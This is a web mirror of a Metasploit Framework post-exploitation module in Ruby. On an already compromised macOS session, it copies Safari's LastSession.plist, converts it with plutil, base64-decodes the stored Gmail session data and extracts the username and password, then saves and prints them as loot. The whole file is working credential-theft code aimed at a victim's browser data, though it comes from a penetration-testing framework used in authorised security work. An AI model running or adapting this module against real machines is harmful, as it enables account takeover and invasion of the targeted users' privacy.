CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/safari_lastsession.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'OSX Gather Safari LastSession.plist',
16
'Description' => %q{
17
This module downloads the LastSession.plist file from the target machine.
18
LastSession.plist is used by Safari to track active websites in the current session,
19
and sometimes contains sensitive information such as usernames and passwords.
20
21
This module will first download the original LastSession.plist, and then attempt
22
to find the credential for Gmail. The Gmail's last session state may contain the
23
user's credential if his/her first login attempt failed (likely due to a typo),
24
and then the page got refreshed or another login attempt was made. This also means
25
the stolen credential might contain typos.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [ 'sinn3r'],
29
'Platform' => [ 'osx' ],
30
'SessionTypes' => [ 'meterpreter', 'shell' ],
31
'References' => [
32
['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari']
33
]
34
)
35
)
36
end
37
38
#
39
# Returns the Safari version based on version.plist
40
# @return [String] The Safari version. If not found, returns ''
41
#
42
def get_safari_version
43
vprint_status("#{peer} - Checking Safari version.")
44
version = ''
45
46
f = read_file('/Applications/Safari.app/Contents/version.plist')
47
xml = begin
48
REXML::Document.new(f)
49
rescue StandardError
50
nil
51
end
52
return version if xml.nil?
53
54
xml.elements['plist/dict'].each_element do |e|
55
if e.text == 'CFBundleShortVersionString'
56
version = e.next_element.text
57
break
58
end
59
end
60
61
version
62
end
63
64
#
65
# Converts LastSession.plist to xml, and then read it
66
# @param filename [String] The path to LastSession.plist
67
# @return [String] Returns the XML version of LastSession.plist
68
#
69
def plutil(filename)
70
cmd_exec("plutil -convert xml1 #{filename}")
71
read_file(filename)
72
end
73
74
#
75
# Returns the XML version of LastSession.plist (text file)
76
# Just a wrapper for plutil
77
#
78
def get_lastsession
79
print_status("#{peer} - Looking for LastSession.plist")
80
plutil("#{expand_path('~')}/Library/Safari/LastSession.plist")
81
end
82
83
#
84
# Returns the <array> element that contains session data
85
# @param lastsession [String] XML data
86
# @return [REXML::Element] The Array element for the session data
87
#
88
def get_sessions(lastsession)
89
session_dict = nil
90
91
xml = begin
92
REXML::Document.new(lastsession)
93
rescue StandardError
94
nil
95
end
96
return nil if xml.nil?
97
98
xml.elements['plist'].each_element do |e|
99
found = false
100
e.elements.each do |e2|
101
next unless e2.text == 'SessionWindows'
102
103
session_dict = e.elements['array']
104
found = true
105
break
106
end
107
108
break if found
109
end
110
111
session_dict
112
end
113
114
#
115
# Returns the <dict> session element
116
# @param xml [REXML::Element] The array element for the session data
117
# @param domain [Regexp] The domain to search for
118
# @return [REXML::Element] The <dict> element for the session data
119
#
120
def get_session_element(xml, domain_regx)
121
dict = nil
122
123
found = false
124
xml.each_element do |e|
125
e.elements['array/dict'].each_element do |e2|
126
next unless e2.text =~ domain_regx
127
128
dict = e
129
found = true
130
break
131
end
132
133
break if found
134
end
135
136
dict
137
end
138
139
#
140
# Extracts Gmail username/password
141
# @param xml [REXML::Element] The array element for the session data
142
# @return [Array] [0] is the domain, [1] is the user, [2] is the pass
143
#
144
def find_gmail_cred(xml)
145
vprint_status("#{peer} - Looking for username/password for Gmail.")
146
gmail_dict = get_session_element(xml, /(mail|accounts)\.google\.com/)
147
return '' if gmail_dict.nil?
148
149
raw_data = gmail_dict.elements['array/dict/data'].text
150
decoded_data = Rex::Text.decode_base64(raw_data)
151
cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)&signIn/).flatten
152
user, pass = cred.map { |data| Rex::Text.uri_decode(data) }
153
154
return '' if user.blank? || pass.blank?
155
156
['mail.google.com', user, pass]
157
end
158
159
#
160
# Runs the module
161
#
162
def run
163
cred_tbl = Rex::Text::Table.new({
164
'Header' => 'Credentials',
165
'Indent' => 1,
166
'Columns' => ['Domain', 'Username', 'Password']
167
})
168
169
#
170
# Downloads LastSession.plist in XML format
171
#
172
lastsession = get_lastsession
173
if lastsession.blank?
174
print_error("#{peer} - LastSession.plist not found")
175
return
176
else
177
p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')
178
print_good("#{peer} - LastSession.plist stored in: #{p}")
179
end
180
181
#
182
# If this is an unpatched version, we try to extract creds
183
#
184
=begin
185
version = get_safari_version
186
if version.blank?
187
print_warning("Unable to determine Safari version, will try to extract creds anyway")
188
elsif version >= "6.1"
189
print_status("#{peer} - This machine no longer stores session data in plain text")
190
return
191
else
192
vprint_status("#{peer} - Safari version: #{version}")
193
end
194
=end
195
196
#
197
# Attempts to convert the XML file to an actual XML object, with the <array> element
198
# holding our session data
199
#
200
lastsession_xml = get_sessions(lastsession)
201
unless lastsession_xml
202
print_error('Cannot read XML file, or unable to find any session data')
203
return
204
end
205
206
#
207
# Look for credential in the session data.
208
# I don't know who else stores their user/pass in the session data, but I accept pull requests.
209
# Already looked at hotmail, yahoo, and twitter
210
#
211
gmail_cred = find_gmail_cred(lastsession_xml)
212
cred_tbl << gmail_cred unless gmail_cred.blank?
213
214
unless cred_tbl.rows.empty?
215
p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt')
216
print_good("#{peer} - Found credential saved in: #{p}")
217
print_line
218
print_line(cred_tbl.to_s)
219
end
220
end
221
end
222
223